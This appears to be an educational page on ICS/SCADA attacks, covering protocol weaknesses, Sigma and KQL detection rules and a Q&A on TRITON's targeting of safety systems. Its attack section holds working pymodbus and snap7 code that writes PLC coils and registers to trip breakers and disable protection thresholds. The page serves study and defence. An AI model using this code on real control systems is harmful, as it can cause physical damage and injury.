ICS/SCADA Attacks
Industrial Control Systems (ICS) and SCADA environments control physical infrastructure — power grids, water treatment, oil pipelines, manufacturing. Unlike IT networks, availability outweighs confidentiality and systems cannot be patched without production downtime. This creates a persistent attack surface exploited by nation-state actors using purpose-built malware (Stuxnet, TRITON, INDUSTROYER) and commodity tooling targeting exposed Modbus, DNP3, and OPC-UA services.
An APT actor compromises the IT network of a utility company via spearphishing. They pivot to the OT historian server (which bridges IT and OT segments), then laterally move to the SCADA workstation. From there they issue Modbus write commands to relay protection units, targeting a forced power-generation trip — replicating the INDUSTROYER/CRASHOVERRIDE mechanism.
ICS/SCADA Architecture
Industrial Protocols
| Protocol | Port | Use | Security weakness |
|---|---|---|---|
| Modbus TCP | 502/TCP | PLC read/write coils, registers | No authentication, no encryption, no source IP validation |
| DNP3 | 20000/TCP | Utility SCADA, RTU polling | No authentication in base spec; DNP3 SA (Secure Auth v5) rarely deployed |
| EtherNet/IP (CIP) | 44818/TCP | Allen-Bradley PLCs | No encryption; CIP Explicit Messaging writes accepted from any host |
| OPC-UA | 4840/TCP | Historian integration, data bridging | Often deployed with anonymous authentication; broad read/write access |
| IEC 61850 (GOOSE) | UDP multicast | Substation automation | GOOSE/SV spoofing: no auth on L2 multicast; physical access = full control |
| S7comm | 102/TCP | Siemens S7 PLCs (Stuxnet target) | No auth on older S7-300/400; block read/write without credentials |
Attack Techniques
# Modbus reconnaissance and exploitation (pymodbus):
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.100.50', port=502)
client.connect()
# Read coil register 0 (digital output — relay/breaker state):
result = client.read_coils(0, count=8, slave=1)
print(f"Coils: {result.bits}")
# Read holding registers 0-9 (analog setpoints, e.g. protection thresholds):
result = client.read_holding_registers(0, count=10, slave=1)
print(f"Registers: {result.registers}")
# WRITE coil 0 to FALSE — open a digital output (trip a breaker):
client.write_coil(0, False, slave=1)
# WRITE holding register 5 — modify protection relay setpoint:
client.write_register(5, 0x0000, slave=1) # zero = disable threshold
client.close()
# S7comm reconnaissance with python-snap7:
import snap7
from snap7.util import get_bool, set_bool, get_int
plc = snap7.client.Client()
plc.connect('192.168.1.10', 0, 1) # IP, rack, slot
info = plc.get_cpu_info()
print(f"Module: {info.ModuleTypeName.decode()}")
print(f"SN: {info.SerialNumber.decode()}")
# Read Data Block 1, starting at byte 0, 4 bytes:
data = plc.db_read(1, 0, 4)
print(f"DB1 first 4 bytes: {data.hex()}")
# Write to coil M0.0 (memory bit — starts a sequence):
marker = plc.mb_read(0, 1)
set_bool(marker, 0, 0, True)
plc.mb_write(0, marker)
plc.disconnect()
TRITON/TRISIS Dissection
Detection Engineering
title: Modbus Write Command to Coil or Register (Unauthorized Source)
description: >
Detects Modbus write function codes (FC05, FC06, FC15, FC16) from
hosts outside the authorized engineering workstation IP list.
logsource:
product: zeek
service: modbus
detection:
selection:
func_code|in:
- 5 # Write Single Coil
- 6 # Write Single Register
- 15 # Write Multiple Coils
- 16 # Write Multiple Registers
filter_authorized:
src_ip|contains:
- '10.100.1.50' # designated HMI workstations
- '10.100.1.51'
condition: selection and not filter_authorized
level: critical
tags: [attack.impact, T0855] # T0855 Unauthorized Command Message
title: S7comm Program Block Download to PLC
logsource:
product: zeek
service: s7comm
detection:
selection:
func: 'download'
block_type|in: ['OB','FC','FB','DB']
condition: selection
level: high
tags: [attack.impact, T0839] # T0839 Module Firmware
-- MDE KQL: Lateral movement from IT to OT historian (SQL/RDP pivot indicator)
DeviceNetworkEvents
| where RemotePort in (1433, 3389, 4840) // MSSQL, RDP, OPC-UA
| where RemoteIPType == "Private"
| join kind=inner (
DeviceInfo
| where DeviceCategory == "Server"
| where DeviceName has_any ("historian","scada","hmi","opc")
) on $left.RemoteIP == $right.PublicIP
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName
Q&A
TRITON targeted a Safety Instrumented System (SIS) rather than the operational technology controlling the physical process. What is the strategic reason for targeting the SIS specifically, and how does this influence detection strategy differently from targeting the DCS or PLC?
A Safety Instrumented System is an independent layer designed to automatically return a process to a safe state if it detects hazardous conditions — high pressure, temperature runaway, flammable gas concentration, abnormal flow rates. The SIS operates independently of the Distributed Control System (DCS) that controls normal operations: even if an attacker has fully compromised the DCS and can force hazardous operating conditions, an intact SIS will detect those conditions and trigger an automatic shutdown (trip) that prevents physical damage or injury. This is the architectural defense-in-depth principle: compromise the DCS → SIS catches it → no physical damage.
TRITON's strategic goal was to disable the SIS first, so that a subsequent DCS attack could cause physical damage without the safety layer intervening. The attacker would inject malware into the SIS that silently disables its trip logic, then execute the DCS-side process attack knowing the safety system would not respond. This represents a two-stage physical attack chain — "blind the safety net, then swing the axe" — and it is what distinguishes nation-state ICS attacks from commodity ransomware: the goal is physical destruction or injury, not data theft.
The detection implication is that SIS traffic must be treated as higher-fidelity than DCS traffic. Any TriStation protocol traffic from a non-designated engineering workstation is anomalous by definition — there is no legitimate reason for a standard IT-side host to communicate with a SIS controller. Detection rules for SIS should alert immediately on new source IPs, new session types, or program upload/download events — with no baseline suppression period. For DCS/PLC traffic, some level of write activity is expected from HMIs; for SIS traffic, any write from a non-whitelisted source is critical. The ICS ATT&CK framework (ICS-MITRE) codifies SIS-targeting techniques at tactics TA0103 (Inhibit Response Function) and technique T0838 (Modify Alarm Settings), providing structured detection mapping.